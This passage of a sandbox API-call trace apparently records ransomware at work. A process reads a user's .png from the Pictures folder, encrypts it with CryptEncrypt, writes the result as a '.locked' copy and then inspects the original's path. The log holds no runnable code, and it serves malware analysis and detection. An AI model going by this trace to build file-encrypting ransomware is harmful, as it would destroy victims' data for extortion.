[7]=0x1))) returned 0x0 [0135.626] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.626] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.626] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.627] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.627] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.627] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.627] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.627] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.628] GetFileType (hFile=0x858) returned 0x1 [0135.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.628] GetFileType (hFile=0x858) returned 0x1 [0135.628] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.628] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.628] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.628] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.628] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.628] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", lpFilePart=0x0) returned 0x75 [0135.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.629] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.629] GetFileType (hFile=0x874) returned 0x1 [0135.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.629] GetFileType (hFile=0x874) returned 0x1 [0135.629] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.629] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x6a20700 | out: pbBuffer=0x6a20700) returned 1 [0135.629] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.629] CryptDuplicateKey (in: hKey=0x8e849b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84df8) returned 1 [0135.630] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.630] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x4, pbData=0x6a219bc*=0x1, dwFlags=0x0) returned 1 [0135.630] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x1, pbData=0x6a21988, dwFlags=0x0) returned 1 [0135.630] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x17f0\x438\x242") returned 0x0 [0135.630] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.630] ReadFile (in: hFile=0x858, lpBuffer=0x6a24f18, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a24f18*, lpNumberOfBytesRead=0x99ae7a8*=0x88d5, lpOverlapped=0x0) returned 1 [0135.631] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a38f24*, pdwDataLen=0x99ae79c*=0x88d0, dwBufLen=0x88d0 | out: pbData=0x6a38f24*, pdwDataLen=0x99ae79c*=0x88d0) returned 1 [0135.631] WriteFile (in: hFile=0x874, lpBuffer=0x6a207c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a207c0*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.632] WriteFile (in: hFile=0x874, lpBuffer=0x6a39f10*, nNumberOfBytesToWrite=0x78e4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a39f10*, lpNumberOfBytesWritten=0x99ae780*=0x78e4, lpOverlapped=0x0) returned 1 [0135.632] ReadFile (in: hFile=0x858, lpBuffer=0x6a24f18, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a24f18*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.633] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a41818*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a41818*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.633] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a4184c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a4184c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.633] WriteFile (in: hFile=0x874, lpBuffer=0x6a207c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a207c0*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.633] CloseHandle (hObject=0x874) returned 1 [0135.635] CloseHandle (hObject=0x858) returned 1 [0135.635] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.635] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.635] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.637] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 0x20 [0135.638] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.638] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.638] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.638] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.639] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.639] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.639] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.639] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.639] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.641] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.641] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0135.641] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0135.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", lpFilePart=0x0) returned 0x56 [0135.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", lpFilePart=0x0) returned 0x56 [0135.641] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 0x20 [0135.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.642] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.642] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.642] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png\\", lpFilePart=0x0) returned 0x6f [0135.642] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.642] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.642] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.642] CoTaskMemFree (pv=0x8eb8930) [0135.643] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 0x20 [0135.643] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: 